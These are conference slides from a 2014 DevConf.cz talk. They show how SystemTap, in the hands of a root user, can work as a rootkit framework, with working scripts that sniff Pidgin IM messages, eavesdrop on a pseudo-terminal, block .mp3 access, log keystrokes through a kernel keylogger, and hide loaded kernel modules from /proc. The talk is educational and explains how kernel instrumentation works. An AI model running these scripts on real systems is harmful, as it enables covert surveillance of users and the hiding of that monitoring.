BOFH meets SystemTap: rootkits made trivial

adk
adrien@kunysz.be

DevConf.cz, Brno, Czech Republic
February 2014

Who is the Bastard Operator From Hell?

- supposedly fictional character from Simon Travaglia
- a Unix Operator who enjoys abusing his users
  - listen on communications
  - enforce stupid restrictions
  - ...

What is SystemTap?

- system-wide code injection framework
- in a security conferences you would call it a rootkit framework

What is this presentation about?

- the BOFH got a new toy: SystemTap
- no actual breaking of security as he is root already
- SystemTap just makes some things much easier
- let's see how

Example 1: sniffing IM conversations

Listing 1: purplesniff.stp

```
1 probe process("/usr/lib64/libpurple.so.0")
2       .function("purple_conversation_write")
3 {
4         printf("<%s> %s\n",
5                 user_string($who),
6                 user_string($message))
7 }
```

This is the function we are instrumenting:

```
void purple_conversation_write(
        PurpleConversation *conv,
        const char *who,
        const char *message,
        PurpleMessageFlags flags, time_t mtime)
{
```

Example 2: eavesdropping on a pseudo terminal

The code we want to instrument:

```
/**
 *      pty_write               -       write to a pty
 *      @tty: the tty we write from
 *      @buf: kernel buffer of data
 *      @count: bytes to write
[...]
 */

static int pty_write(struct tty_struct *tty, const
    unsigned char *buf, int c)
{
```

As seen from SystemTap:

```
# stap -L 'kernel.function("pty_write")'
kernel.function("pty_write@drivers/char/pty.c:112")
    $tty:struct tty_struct* $buf:unsigned char const*
    $c:int $to:struct tty_struct*
```

Example 2 continued: eavesdropping on a pseudo terminal

Listing 2: ptysnoop.stp

```
probe kernel.function("pty_write") {
        if (kernel_string($tty->name) == @1) {
                printf("%s", kernel_string_n($buf, $c))
        }
}
```

Example 3: forbidding access to specific file names

```
# stap -L 'kernel.function("may_open@fs/namei.c").return'
kernel.function("may_open@fs/namei.c:1505").return
    $return:int $path:struct path* $acc_mode:int $flag:int
    $dentry:struct dentry* $inode:struct inode* $error:int
```

Listing 3: nomp3.stp

```
1 # inspired by systemtap.examples/general/badname.stp
2 probe kernel.function("may_open@fs/namei.c").return {
3         if (euid() && !$return &&
              isinstr(d_name($path->dentry), ".mp3"))
4             $return = -13  # -EACCES (Permission
                  denied)
5 }
```

Example 4: a keylogger

The function we are going to tap into:

```
# stap -L 'kernel.function("kbd_event")'
kernel.function("kbd_event@drivers/char/keyboard.c:1296")
    $handle:struct input_handle* $event_type:unsigned int
    $event_code:unsigned int $value:int
```

The existing table we are going to use to decode keyboard events:

```
static const char *keys[KEY_MAX + 1] = {
    [KEY_RESERVED] = "Reserved",     [KEY_ESC] = "Esc",
    [KEY_1] = "1",                   [KEY_2] = "2",
...
```

Ugly lazy way to get access to that table: look up its address from /proc/kallsyms.

Example 4 continued: a keylogger

Listing 4: kbdsniff.stp

```
1  // stap -g kbdsniff.stp `awk '$3~/^keys$/{print"0x"$1}'
       /proc/kallsyms`
2
3  function decode_key:string (keysaddr:long, val:long) %{
4          const char **_keys = (const char**)THIS->keysaddr;
               /* from drivers/hid/hid-debug.c */
5          const char *key_name = _keys[THIS->val];
6          strlcpy(THIS->__retvalue, key_name, MAXSTRINGLEN);
7  %}
8
9  probe kernel.function("kbd_event") {
10         if ($event_type == 1 && $value == 1) {
11                 printf("%s\n", decode_key($1, $event_code))
12         }
13 }
```

Example 5: hiding SystemTap with SystemTap

The modules are listed in a ... list. We just need to temporary remove the modules we want to hide from that list whenever appropriate.

Example 5 continued: hiding SystemTap with SystemTap

```
function move_modules:long (from:long, to:long,
    pattern:string) %{
    static LIST_HEAD(hidden_modules);

    struct list_head *from = THIS->from ? (struct
        list_head*)THIS->from : &hidden_modules;
    struct list_head *to = THIS->to ? (struct
        list_head*)THIS->to : &hidden_modules;

    struct module *mod;
    struct module *tmp;
    THIS->__retvalue = 0;
    list_for_each_entry_safe(mod, tmp, from, list) {
            if (!strncmp(mod->name, THIS->pattern,
                strlen(THIS->pattern))) {
                    list_move(&mod->list, to);
                    THIS->__retvalue++;
            }
    }
%}
```

Example 5 continued: hiding SystemTap with SystemTap

```
/* Called by the /proc file system to return a list of
    modules. */
static void *m_start(struct seq_file *m, loff_t *pos)
{
        mutex_lock(&module_mutex);
        return seq_list_start(&modules, *pos);
}
```

We want to move the modules after taking the lock but before anything has been done with the list:

```
probe kernel.function("m_start@kernel/module.c+2") {
        printf("hiding %d modules\n",
            move_modules($modules->next->prev, 0, to_hide))
}
```

Example 5 continued: hiding SystemTap with SystemTap

```
static void m_stop(struct seq_file *m, void *p)
{
        mutex_unlock(&module_mutex);
}
```

We want to restore the modules before releasing the lock but after the list has been displayed:

```
probe kernel.function("m_stop@kernel/module.c") {
        printf("unhiding %d modules\n", move_modules(0,
            $modules->next->prev, to_hide))
}
```

References and questions

- this talk and its examples: http://stapbofh.krunch.be/
- SystemTap Beginners Guide: http://sourceware.org/systemtap/SystemTap_Beginners_Guide/
- SystemTap wiki: http://sourceware.org/systemtap/wiki
- lot of excellent documentation included:
  - `man -k stap`
  - file:///usr/share/doc/systemtap*
- example scripts shipped with SystemTap: http://sourceware.org/systemtap/examples/
- systemtap@sources.redhat.com
- irc://chat.freenode.net/#systemtap
- The Bastard Operator From Hell by Simon Travaglia: http://bofh.ntk.net/BOFH/
- me adrien@kunysz.be or Krunch on Freenode